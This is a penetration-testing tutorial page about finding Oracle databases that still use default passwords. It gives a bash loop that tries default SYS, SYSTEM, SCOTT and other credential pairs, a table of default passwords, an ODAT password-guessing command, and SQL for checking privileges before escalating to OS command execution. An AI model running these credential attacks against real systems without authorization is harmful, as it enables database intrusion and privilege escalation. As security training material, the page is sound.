# Oracle Weak Credential Testing

- **URL:** https://hackindex.io/services/oracle/vulnerability-discovery/oracle-weak-credentials
- **Path:** Oracle > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/oracle/vulnerability-discovery.md)
- **Published:** 2026-03-30
- **Updated:** 2026-03-31

Oracle ships with several default accounts that are frequently left enabled with default passwords on older or misconfigured installations. SYS and SYSTEM are the highest-privilege accounts. SCOTT is a legacy sample account with the legendary default password `tiger`. Confirm a working SID from [connectivity checks](https://hackindex.io/services/oracle/enumeration/tnsping-and-sqlplus-connection-checks) before testing credentials: ORA-12514 means the connect string is wrong, not the password.

- Manual Default Credential Testing
- Common Default Account Reference
- Automated Password Guessing with ODAT
- Determine Privilege Level After Login

## Manual Default Credential Testing

Test the most likely defaults manually before running any tooling:

```bash
for cred in sys:sys sys:oracle system:manager system:oracle system:system scott:tiger dbsnmp:dbsnmp dbsnmp:oracle sysman:oem_temp; do
  result=$(sqlplus -L "$cred@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<< 'EXIT' 2>&1 | head -2)
  if echo "$result" | grep -q 'SQL>\|Connected'; then
    echo "VALID: $cred"
  else
    echo "fail: $cred - $(echo $result | grep -oE 'ORA-[0-9]+')"
  fi
done
# fail: sys:sys - ORA-01017
# VALID: system:manager
# fail: scott:tiger - ORA-01017
```

## Common Default Account Reference

| Account | Default password | Privilege level |
| --- | --- | --- |
| SYS | change_on_install / oracle | DBA: full OS access possible |
| SYSTEM | manager / oracle | DBA: near full admin |
| SCOTT | tiger | Normal user: sample schema |
| DBSNMP | dbsnmp / oracle | Monitoring: limited |
| SYSMAN | oem_temp / sysman | OEM management |
| HR | hr | Sample schema: limited |

## Automated Password Guessing with ODAT

ODAT's passwordguesser module tests a comprehensive list of default Oracle credentials automatically:

> [!CAUTION]
> ODAT passwordguesser is not permitted on OSCP exams. Use manual sqlplus credential testing above for exam environments.

```bash
odat passwordguesser -s $TARGET_IP -p 1521 -d ORCL --accounts-file /usr/share/odat/accounts/accounts_multiple.txt
# [+] Valid credentials found: system/manager
# [+] Valid credentials found: dbsnmp/dbsnmp
```

## Determine Privilege Level After Login

Immediately check what privileges the authenticated account has:

```bash
sqlplus -L "system/manager@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT user FROM dual;
SELECT * FROM session_privs;
SELECT * FROM dba_role_privs WHERE grantee=USER;
EXIT;
EOF
# USER
# ----
# SYSTEM
#
# PRIVILEGE
# ---------------------------
# CREATE SESSION
# ALTER SESSION
# ...
# EXECUTE ANY PROCEDURE
```

DBA role or EXECUTE ANY PROCEDURE are the key privileges for escalation to OS command execution. Move to [SQL execution and file access](https://hackindex.io/services/oracle/exploitation/oracle-sql-execution-and-file-access) or [OS command execution](https://hackindex.io/services/oracle/exploitation/oracle-os-command-execution) depending on what privileges are available.

## References

- [ODAT](https://github.com/quentinhardy/odat) - passwordguesser module and default accounts list